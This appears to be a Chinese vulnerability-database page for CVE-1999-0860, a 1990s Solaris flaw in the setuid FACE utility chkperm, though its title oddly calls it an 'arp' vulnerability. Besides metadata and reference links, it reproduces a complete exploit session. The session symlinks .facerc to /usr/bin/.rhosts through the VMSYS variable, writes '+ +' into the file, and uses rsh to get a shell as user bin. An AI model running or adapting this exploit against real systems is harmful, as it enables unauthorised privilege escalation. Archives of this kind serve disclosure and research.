Solaris arp漏洞

Solaris arp漏洞

漏洞ID 1105271 漏洞类型 其他
发布时间 1996-12-05 更新时间 2005-10-20
图片[1]-Solaris arp漏洞-安全小百科CVE编号 CVE-1999-0860
图片[2]-Solaris arp漏洞-安全小百科CNNVD-ID CNNVD-199912-010
漏洞平台 Solaris CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/19235
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-010
|漏洞详情
Solaris的chkperm存在漏洞。本地用户可以通过VMSYS环境变量以及一个符号链接攻击读取bin下的文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/295/info

Solaris 2.4, 2.5, and 2.5.1 (possibly other versions) have a package called FACE (Framed Access Command Environment) installed. Included in the package is a program called chkperm which checks a file to see if the user has permission to use the FACE interface. This program is installed suid and sgid bin, and is trivially exploitable to compromise the bin account under Solaris 2.4.

Running chkperm in a directory that has world write privilege or in a directory that belongs to bin. chkperm on Solaris 2.5 seems to create a file called <gibberish characters> in the directory from where you execute it. chkperm needs write access for user bin (or group bin) to the directory from which you execute it. It also works the same with just 'chkperm -l', you can set the environment variable VMSYS to anything.

You could then create the link (to .rhosts in the example) using the <gibberish characters> file name created by chkperm and accomplish the same result. 

% mkdir /tmp/foo
% mkdir /tmp/foo/lib
% chmod -R 777 /tmp/foo
% setenv VMSYS /tmp/foo
% umask 0000
% ln -s /usr/bin/.rhosts /tmp/foo/lib/.facerc
% /usr/vmsys/bin/chkperm -l -u foo
% ls -l /usr/bin/.rhosts
-rw-rw-rw- 2 bin bin 0 Nov 12 09:41 .rhosts
% echo "+ +" >> /usr/bin/.rhosts
% ls -l /usr/bin/.rhosts
-rw-rw-rw- 2 bin bin 4 Nov 12 09:41 .rhosts
% rsh -l bin localhost /bin/csh -i
Warning: no access to tty; thus no job control in this shell...
% id
uid=2(bin) gid=2(bin)
|参考资料

来源:BID
名称:837
链接:http://www.securityfocus.com/bid/837

相关推荐: Perlbot Text Variable Remote Command Execution Vulnerability

Perlbot Text Variable Remote Command Execution Vulnerability 漏洞ID 1101454 漏洞类型 Input Validation Error 发布时间 2002-10-18 更新时间 2002-10…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享